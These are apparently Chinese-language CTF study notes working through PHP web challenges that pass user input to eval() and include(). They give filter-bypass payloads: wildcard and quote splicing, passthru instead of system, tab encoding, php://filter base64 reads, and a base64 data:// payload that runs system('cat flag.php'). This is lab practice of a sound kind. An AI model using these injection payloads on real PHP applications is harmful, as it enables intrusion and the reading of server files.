温故而知新,复盘时尝试不同方法,弄懂原理!
29.
审计代码,发现eval()函数,作用是将其中的内容当做php代码进行执行,再看条件,
!preg_match("/flag/i",$c),变量是c,不匹配大小写的flag就行,其正则表达式为:/flag/i,该函数表示从我们构造的ip的值中匹配flag字符串,
正则表达式中"/"是表达式开始和结束的标记(即匹配了flag)且其后的"i"标记这是一个大小写不敏感的搜索,即flag中字母的大写和小写的组合都会被匹配到
本题中的正则表达式未涉及许多的正则表达式的元字符,例如还有一些其他常见的类型题目如正则表达式(/^\w+$/)在表达式开始和结束的标记中间的
^匹配输入字行首;
\w 匹配包括下划线的任何单词字符;
+匹配前面的子表达式一次或多次(大于等于1次);
$匹配输入行尾
总体意义就是限定一个任意长字符串,全部由字母数字下划线组成,前面中间后面都不能有空格、标点等非\w字符
那flag通常在flag.php,flag.txt内,我们需要读取文件,常用命令nl,cat,tac,more,sort
cat flag.php , nl [选项] flag.php,tac是cat的反向输出 tac flag.php,
more [选项]【flie】 more flag.php
sort [选项] flag.php
我们一般将代码执行漏洞转换为命令执行漏洞,常借助system()函数,''
再用通配符、拼接等方式绕过flag的屏蔽
fl''ag, fla?.php,fla*
?c=system('cat fla*'); ?c=system('cat fla""g.php'); 注意:;不能少,拼接的符号不要与括号内的相同,单引号配双引号。
还可以使用echo配合''(详)
cat不会显示,但是f12可以看到
30.
多屏蔽了system,那么使用其他的php命令执行函数,可以用passthru($cmd),shell_exec($cmd)
?c=passthru('more fla*');
shell_exec()在此处似乎没用 ,反撇号//(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
多屏蔽了cat、sort,单引号和空格,单引号换双引号,空格用TAB替换,TAB的URL编码是%09
?c=passthru("more%09fla*");
无参数函数的写法(还不会)
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
括号都去了,只能考虑Php伪协议
?c=include$_GET[“url”]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
过滤了分号,那么可以直接?>
闭合php,因为php语法中,最后一句php代码可以不闭合(这里有一点要说一下,?>
闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的);
这里实际是传了两个参数,第一个是c,受题目限制,但是c的实际内容是第二个参数Url的内容,url不受限制。
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
php伪协议详解看大佬:web安全——伪协议_ephemeral-fever的博客-CSDN博客_伪协议是什么
最后出来的是Base64编码的结果。
多屏蔽了双引号,写法同上,GET[]处可以不加引号,Include可以换require
?c=require$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
过滤了:号,但是并不影响第二个参数
因为?c=include$_GET[a]?>
多过滤了=和<,还是不影响
多过滤了数字,仍不影响
37.
直接有include()函数,如果要执行只需要文件名即可,或者直接注入php代码
data需满足allow_url_fopen
,allow_url_include
同时开启才能使用,使用如下:
file.php?file=data://text/plain,
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
data://text/plain协议
此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
38.
增加了屏蔽字符串,但对data伪协议的base64编码无效,仍是上题方法